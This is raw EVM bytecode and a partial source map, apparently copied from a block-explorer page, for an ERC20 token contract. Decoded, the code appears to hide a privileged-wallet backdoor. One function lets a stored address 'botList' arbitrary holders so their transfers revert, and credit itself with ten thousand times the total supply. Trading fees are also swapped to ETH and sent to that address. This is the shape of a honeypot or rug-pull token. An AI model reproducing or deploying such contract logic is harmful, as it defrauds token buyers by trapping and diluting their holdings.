565b6000611f3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061195f565b905092915050565b600080831415611f555760009050611fb7565b60008284611f6391906128a4565b9050828482611f729190612873565b14611fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa9906126b8565b60405180910390fd5b809150505b92915050565b6000611fff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612065565b905092915050565b6000808284612016919061281d565b90508381101561205b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205290612678565b60405180910390fd5b8091505092915050565b600080831182906120ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a391906125f6565b60405180910390fd5b50600083856120bb9190612873565b9050809150509392505050565b6000813590506120d781612dd3565b92915050565b6000815190506120ec81612dd3565b92915050565b60008083601f84011261210857612107612b7f565b5b8235905067ffffffffffffffff81111561212557612124612b7a565b5b60208301915083602082028301111561214157612140612b84565b5b9250929050565b60008135905061215781612dea565b92915050565b60008135905061216c81612e01565b92915050565b60006020828403121561218857612187612b8e565b5b6000612196848285016120c8565b91505092915050565b6000602082840312156121b5576121b4612b8e565b5b60006121c3848285016120dd565b91505092915050565b600080604083850312156121e3576121e2612b8e565b5b60006121f1858286016120c8565b9250506020612202858286016120c8565b9150509250929050565b60008060006060848603121561222557612224612b8e565b5b6000612233868287016120c8565b9350506020612244868287016120c8565b92505060406122558682870161215d565b9150509250925092565b6000806040838503121561227657612275612b8e565b5b6000612284858286016120c8565b92505060206122958582860161215d565b9150509250929050565b6000806000604084860312156122b8576122b7612b8e565b5b600084013567ffffffffffffffff8111156122d6576122d5612b89565b5b6122e2868287016120f2565b935093505060206122f586828701612148565b9150509250925092565b600061230b8383612326565b60208301905092915050565b61232081612944565b82525050565b61232f81612932565b82525050565b61233e81612932565b82525050565b600061234f826127d8565b61235981856127fb565b9350612364836127c8565b8060005b8381101561239557815161237c88826122ff565b9750612387836127ee565b925050600181019050612368565b5085935050505092915050565b6123ab81612956565b82525050565b6123ba81612999565b82525050565b6123c9816129ab565b82525050565b60006123da826127e3565b6123e4818561280c565b93506123f48185602086016129e1565b6123fd81612b93565b840191505092915050565b600061241560238361280c565b915061242082612ba4565b604082019050919050565b600061243860108361280c565b915061244382612bf3565b602082019050919050565b600061245b60228361280c565b915061246682612c1c565b604082019050919050565b600061247e601b8361280c565b915061248982612c6b565b602082019050919050565b60006124a160118361280c565b91506124ac82612c94565b602082019050919050565b60006124c460218361280c565b91506124cf82612cbd565b604082019050919050565b60006124e760208361280c565b91506124f282612d0c565b602082019050919050565b600061250a60258361280c565b915061251582612d35565b604082019050919050565b600061252d60248361280c565b915061253882612d84565b604082019050919050565b61254c81612982565b82525050565b61255b8161298c565b82525050565b60006020820190506125766000830184612335565b92915050565b60006020820190506125916000830184612317565b92915050565b60006040820190506125ac6000830185612335565b6125b96020830184612335565b9392505050565b60006020820190506125d560008301846123a2565b92915050565b60006020820190506125f060008301846123b1565b92915050565b6000602082019050818103600083015261261081846123cf565b905092915050565b6000602082019050818103600083015261263181612408565b9050919050565b600060208201905081810360008301526126518161242b565b9050919050565b600060208201905081810360008301526126718161244e565b9050919050565b6000602082019050818103600083015261269181612471565b9050919050565b600060208201905081810360008301526126b181612494565b9050919050565b600060208201905081810360008301526126d1816124b7565b9050919050565b600060208201905081810360008301526126f1816124da565b9050919050565b60006020820190508181036000830152612711816124fd565b9050919050565b6000602082019050818103600083015261273181612520565b9050919050565b600060208201905061274d6000830184612543565b92915050565b600060a0820190506127686000830188612543565b61277560208301876123c0565b81810360408301526127878186612344565b90506127966060830185612335565b6127a36080830184612543565b9695505050505050565b60006020820190506127c26000830184612552565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061282882612982565b915061283383612982565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561286857612867612a8f565b5b828201905092915050565b600061287e82612982565b915061288983612982565b92508261289957612898612abe565b5b828204905092915050565b60006128af82612982565b91506128ba83612982565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128f3576128f2612a8f565b5b828202905092915050565b600061290982612982565b915061291483612982565b92508282101561292757612926612a8f565b5b828203905092915050565b600061293d82612962565b9050919050565b600061294f82612962565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129a4826129bd565b9050919050565b60006129b682612982565b9050919050565b60006129c8826129cf565b9050919050565b60006129da82612962565b9050919050565b60005b838110156129ff5780820151818401526020810190506129e4565b83811115612a0e576000848401525b50505050565b60006002820490506001821680612a2c57607f821691505b60208210811415612a4057612a3f612aed565b5b50919050565b6000612a5182612982565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a8457612a83612a8f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626f744c697374656400000000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f6164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612ddc81612932565b8114612de757600080fd5b50565b612df381612956565b8114612dfe57600080fd5b50565b612e0a81612982565b8114612e1557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f019ab1d73d56092d4003523c2f84d286b6296721d36e098a88417c942cba96364736f6c63430008070033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610415578063c5d2418914610452578063c816841b1461047d578063c8607952146104a8578063dd62ed3e146104d3578063f2fde38b1461051057610135565b806370a082311461032e57806380bdb5081461036b5780638da5cb5b146103a857806395d89b41146103d357806396642ad9146103fe57610135565b806323b872dd116100f257806323b872dd14610223578063313ce567146102605780633345611e1461028b5780633ecad271146102c8578063442dd8761461030557610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd5780631fef4cbe146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c91906125f6565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061225f565b6105cb565b60405161019991906125c0565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c491906125db565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef9190612738565b60405180910390f35b34801561020457600080fd5b5061020d610619565b60405161021a919061257c565b60405180910390f35b34801561022f57600080fd5b5061024a6004803603810190610245919061220c565b61063f565b60405161025791906125c0565b60405180910390f35b34801561026c57600080fd5b50610275610719565b60405161028291906127ad565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad9190612172565b610730565b6040516102bf91906125c0565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190612172565b610750565b6040516102fc91906125c0565b60405180910390f35b34801561031157600080fd5b5061032c6004803603810190610327919061229f565b610770565b005b34801561033a57600080fd5b5061035560048036038101906103509190612172565b6109e5565b6040516103629190612738565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190612172565b610a2e565b60405161039f91906125c0565b60405180910390f35b3480156103b457600080fd5b506103bd610a4e565b6040516103ca9190612561565b60405180910390f35b3480156103df57600080fd5b506103e8610a77565b6040516103f591906125f6565b60405180910390f35b34801561040a57600080fd5b50610413610b09565b005b34801561042157600080fd5b5061043c6004803603810190610437919061225f565b610ee1565b60405161044991906125c0565b60405180910390f35b34801561045e57600080fd5b50610467610f00565b6040516104749190612738565b60405180910390f35b34801561048957600080fd5b50610492610f06565b60405161049f9190612561565b60405180910390f35b3480156104b457600080fd5b506104bd610f2c565b6040516104ca9190612738565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f591906121cc565b610f32565b6040516105079190612738565b60405180910390f35b34801561051c57600080fd5b5061053760048036038101906105329190612172565b610fb9565b005b60606001805461054890612a14565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612a14565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d861110b565b8484611113565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061064c8484846112de565b5061070e8461065961110b565b61070985604051806060016040528060288152602001612e1960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106bf61110b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f9092919063ffffffff16565b611113565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107b161110b565b73ffffffffffffffffffffffffffffffffffffffff16146107d157600080fd5b60005b838390508110156109df57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1684848381811061082b5761082a612b1c565b5b90506020020160208101906108409190612172565b73ffffffffffffffffffffffffffffffffffffffff16146108de57816008600086868581811061087357610872612b1c565b5b90506020020160208101906108889190612172565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506109cc565b6109666127106108ec61060f565b6108f691906128a4565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c390919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80806109d790612a46565b9150506107d4565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610a8690612a14565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab290612a14565b8015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b610b1161110b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b95906126d8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bfd57600080fd5b505afa158015610c11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c35919061219f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c9757600080fd5b505afa158015610cab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccf919061219f565b6040518363ffffffff1660e01b8152600401610cec929190612597565b602060405180830381600087803b158015610d0657600080fd5b505af1158015610d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3e919061219f565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610ef5610eee61110b565b84846112de565b506001905092915050565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fc161110b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461104e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611045906126d8565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612718565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ea90612658565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112d19190612738565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611346906126f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612618565b60405180910390fd5b600d60149054906101000a900460ff16156113e6576113df848484611a21565b9050611958565b60006113f1306109e5565b9050600d60149054906101000a900460ff1615801561145a5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114695761146881611bf4565b5b6114bb83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115a15750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115ae57839050611857565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490612638565b60405180910390fd5b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116be576116b760646116a960095488611f4290919063ffffffff16565b611fbd90919063ffffffff16565b905061173c565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561173b57611738606461172a600a5488611f4290919063ffffffff16565b611fbd90919063ffffffff16565b90505b5b60008111156118405761179781600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118379190612738565b60405180910390a35b6118538186611ef890919063ffffffff16565b9150505b6118a981600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200790919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119499190612738565b60405180910390a36001925050505b9392505050565b60008383111582906119a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199e91906125f6565b60405180910390fd5b50600083856119b691906128fe565b9050809150509392505050565b60008082846119d2919061281d565b905083811015611a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0e90612698565b60405180910390fd5b8091505092915050565b6000611aac826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b4182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200790919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611be19190612738565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c2c57611c2b612b4b565b5b604051908082528060200260200182016040528015611c5a5781602001602082028036833780820191505090505b5090503081600081518110611c7257611c71612b1c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d1457600080fd5b505afa158015611d28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d4c919061219f565b81600181518110611d6057611d5f612b1c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dc730600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611113565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e2b959493929190612753565b600060405180830381600087803b158015611e4557600080fd5b505af1925050508015611e56575060015b611e5f57611e60565b5b60004790506000811115611ed857600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ed6573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b6000611f3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061195f565b905092915050565b600080831415611f555760009050611fb7565b60008284611f6391906128a4565b9050828482611f729190612873565b14611fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa9906126b8565b60405180910390fd5b809150505b92915050565b6000611fff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612065565b905092915050565b6000808284612016919061281d565b90508381101561205b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205290612678565b60405180910390fd5b8091505092915050565b600080831182906120ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a391906125f6565b60405180910390fd5b50600083856120bb9190612873565b9050809150509392505050565b6000813590506120d781612dd3565b92915050565b6000815190506120ec81612dd3565b92915050565b60008083601f84011261210857612107612b7f565b5b8235905067ffffffffffffffff81111561212557612124612b7a565b5b60208301915083602082028301111561214157612140612b84565b5b9250929050565b60008135905061215781612dea565b92915050565b60008135905061216c81612e01565b92915050565b60006020828403121561218857612187612b8e565b5b6000612196848285016120c8565b91505092915050565b6000602082840312156121b5576121b4612b8e565b5b60006121c3848285016120dd565b91505092915050565b600080604083850312156121e3576121e2612b8e565b5b60006121f1858286016120c8565b9250506020612202858286016120c8565b9150509250929050565b60008060006060848603121561222557612224612b8e565b5b6000612233868287016120c8565b9350506020612244868287016120c8565b92505060406122558682870161215d565b9150509250925092565b6000806040838503121561227657612275612b8e565b5b6000612284858286016120c8565b92505060206122958582860161215d565b9150509250929050565b6000806000604084860312156122b8576122b7612b8e565b5b600084013567ffffffffffffffff8111156122d6576122d5612b89565b5b6122e2868287016120f2565b935093505060206122f586828701612148565b9150509250925092565b600061230b8383612326565b60208301905092915050565b61232081612944565b82525050565b61232f81612932565b82525050565b61233e81612932565b82525050565b600061234f826127d8565b61235981856127fb565b9350612364836127c8565b8060005b8381101561239557815161237c88826122ff565b9750612387836127ee565b925050600181019050612368565b5085935050505092915050565b6123ab81612956565b82525050565b6123ba81612999565b82525050565b6123c9816129ab565b82525050565b60006123da826127e3565b6123e4818561280c565b93506123f48185602086016129e1565b6123fd81612b93565b840191505092915050565b600061241560238361280c565b915061242082612ba4565b604082019050919050565b600061243860108361280c565b915061244382612bf3565b602082019050919050565b600061245b60228361280c565b915061246682612c1c565b604082019050919050565b600061247e601b8361280c565b915061248982612c6b565b602082019050919050565b60006124a160118361280c565b91506124ac82612c94565b602082019050919050565b60006124c460218361280c565b91506124cf82612cbd565b604082019050919050565b60006124e760208361280c565b91506124f282612d0c565b602082019050919050565b600061250a60258361280c565b915061251582612d35565b604082019050919050565b600061252d60248361280c565b915061253882612d84565b604082019050919050565b61254c81612982565b82525050565b61255b8161298c565b82525050565b60006020820190506125766000830184612335565b92915050565b60006020820190506125916000830184612317565b92915050565b60006040820190506125ac6000830185612335565b6125b96020830184612335565b9392505050565b60006020820190506125d560008301846123a2565b92915050565b60006020820190506125f060008301846123b1565b92915050565b6000602082019050818103600083015261261081846123cf565b905092915050565b6000602082019050818103600083015261263181612408565b9050919050565b600060208201905081810360008301526126518161242b565b9050919050565b600060208201905081810360008301526126718161244e565b9050919050565b6000602082019050818103600083015261269181612471565b9050919050565b600060208201905081810360008301526126b181612494565b9050919050565b600060208201905081810360008301526126d1816124b7565b9050919050565b600060208201905081810360008301526126f1816124da565b9050919050565b60006020820190508181036000830152612711816124fd565b9050919050565b6000602082019050818103600083015261273181612520565b9050919050565b600060208201905061274d6000830184612543565b92915050565b600060a0820190506127686000830188612543565b61277560208301876123c0565b81810360408301526127878186612344565b90506127966060830185612335565b6127a36080830184612543565b9695505050505050565b60006020820190506127c26000830184612552565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061282882612982565b915061283383612982565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561286857612867612a8f565b5b828201905092915050565b600061287e82612982565b915061288983612982565b92508261289957612898612abe565b5b828204905092915050565b60006128af82612982565b91506128ba83612982565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128f3576128f2612a8f565b5b828202905092915050565b600061290982612982565b915061291483612982565b92508282101561292757612926612a8f565b5b828203905092915050565b600061293d82612962565b9050919050565b600061294f82612962565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129a4826129bd565b9050919050565b60006129b682612982565b9050919050565b60006129c8826129cf565b9050919050565b60006129da82612962565b9050919050565b60005b838110156129ff5780820151818401526020810190506129e4565b83811115612a0e576000848401525b50505050565b60006002820490506001821680612a2c57607f821691505b60208210811415612a4057612a3f612aed565b5b50919050565b6000612a5182612982565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a8457612a83612a8f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626f744c697374656400000000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f6164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612ddc81612932565b8114612de757600080fd5b50565b612df381612956565b8114612dfe57600080fd5b50565b612e0a81612982565b8114612e1557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f019ab1d73d56092d4003523c2f84d286b6296721d36e098a88417c942cba96364736f6c63430008070033

Deployed Bytecode Sourcemap

3814:6528:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5547:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6350:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4981:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6205:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4028:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9405:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6519:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4667:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4724:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9728:434;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6078:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4776:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1311:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5636:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4120:463;;;;;;;;;;;;;:::i;:::-;;10170:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4828:35;;;;;;;;;;;;;:::i;:::-;;;;